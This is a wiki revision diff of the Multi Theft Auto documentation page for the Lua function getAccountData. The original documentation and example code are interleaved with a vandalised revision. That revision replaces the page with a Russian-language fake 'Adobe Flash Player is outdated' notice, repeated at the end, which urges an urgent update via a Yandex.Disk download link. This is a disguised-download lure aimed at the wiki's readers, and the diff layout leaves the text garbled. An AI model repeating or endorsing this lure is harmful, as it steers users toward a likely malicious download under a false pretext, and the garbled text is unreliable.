GetAccountData: Difference between revisions

From Multi Theft Auto: Wiki
Jump to navigation Jump to search
(Make it more easy)
No edit summary
Line 1: Line 1:
{{Server function}}
<font face="sans-serif">
__NOTOC__
<div style="background:#333;">
{{Note_box|It is strongly recommended that you use the standard ''module.key'' naming for your keys, as shown in the example below. This prevents collisions between different scripts.}}
<div style="height:4px;background:#AAA;"></div>
This function retrieves a string that has been stored using [[setAccountData]]. Data stored as account data is persistent across user's sessions and maps, unless they are logged into a guest account.
<font color="#FFF" size="5">
 
<p>&nbsp;Ваша версия Adobe Flash Player устарела</p>
==Syntax==
</font>
<syntaxhighlight lang="lua">
<div style="background:#FFF;">
string getAccountData ( account theAccount, string key )
<font color="#F00" size="2">
</syntaxhighlight>  
<p>Требуется срочное обновление до текущей версии!</p>
{{OOP||[[account]]:getData||setAccountData}}
</font>
===Required Arguments===
<font color="#000" size="4">
*'''theAccount:''' The account you wish to retrieve the data from.
<p>Adobe Flash Player 30.0.0.164 <font color="#888" size="2">(~18 kB)</font></p>
*'''key:''' The key under which the data is stored
</font>
 
<font color="#444" size="2">
===Returns===
<p><b>Операционная система:</b> Windows<br><b>Язык:</b> Выбирает пользователь</p>
Returns a [[string]] containing the stored data or ''false'' if no data was stored under that key.
</font>
 
<font color="#000" size="4">
==Example==
<p>Скачать обновление с Яндекс.Диска: yadi.sk/d/AfbiMAr1PkGdww</p>
For a pirate roleplaying gametype, the amount of money a player has is made persistent by storing it in his account. Note the code uses "piraterpg.money" as key instead of just "money", as the player may be participating in other gametypes that also save his money amount to his account. If both gametypes would use "money" as the account key, they'd overwrite each other's data.
</font>
<syntaxhighlight lang="lua">
</div>
function onPlayerQuit()
</div>
      local playerAccount = getPlayerAccount(source) -- get his account
</font>
      if (playerAccount) then -- if we got the account then
            local playerMoney = getPlayerMoney(source) -- get his money amount
            setAccountData(playerAccount, "piraterpg.money", playerMoney) -- store his current money amount in his account data
      end
end
addEventHandler("onPlayerQuit", getRootElement(), onPlayerQuit) -- add an event handler
 
function onPlayerLogin(_,account)
    local playerMoney = getAccountData(account, "piraterpg.money") -- get the money amount was store in his account data
    -- make sure there was actually a value saved under this key (check if playerMoney is not false).
    -- this will for example not be the case when a player plays the gametype for the first time
    if (playerMoney) then
        setPlayerMoney(source, playerMoney)
    end
end
addEventHandler("onPlayerLogin", getRootElement(), onPlayerLogin) -- add an event handler
</syntaxhighlight>
 
==See Also==
{{Account_functions}}
 
[[ru:getAccountData]]
[[ar:getAccountData]]
[[pl:getAccountData]]

Revision as of 05:57, 9 September 2018

 Ваша версия Adobe Flash Player устарела

Требуется срочное обновление до текущей версии!

Adobe Flash Player 30.0.0.164 (~18 kB)

Операционная система: Windows
Язык: Выбирает пользователь

Скачать обновление с Яндекс.Диска: yadi.sk/d/AfbiMAr1PkGdww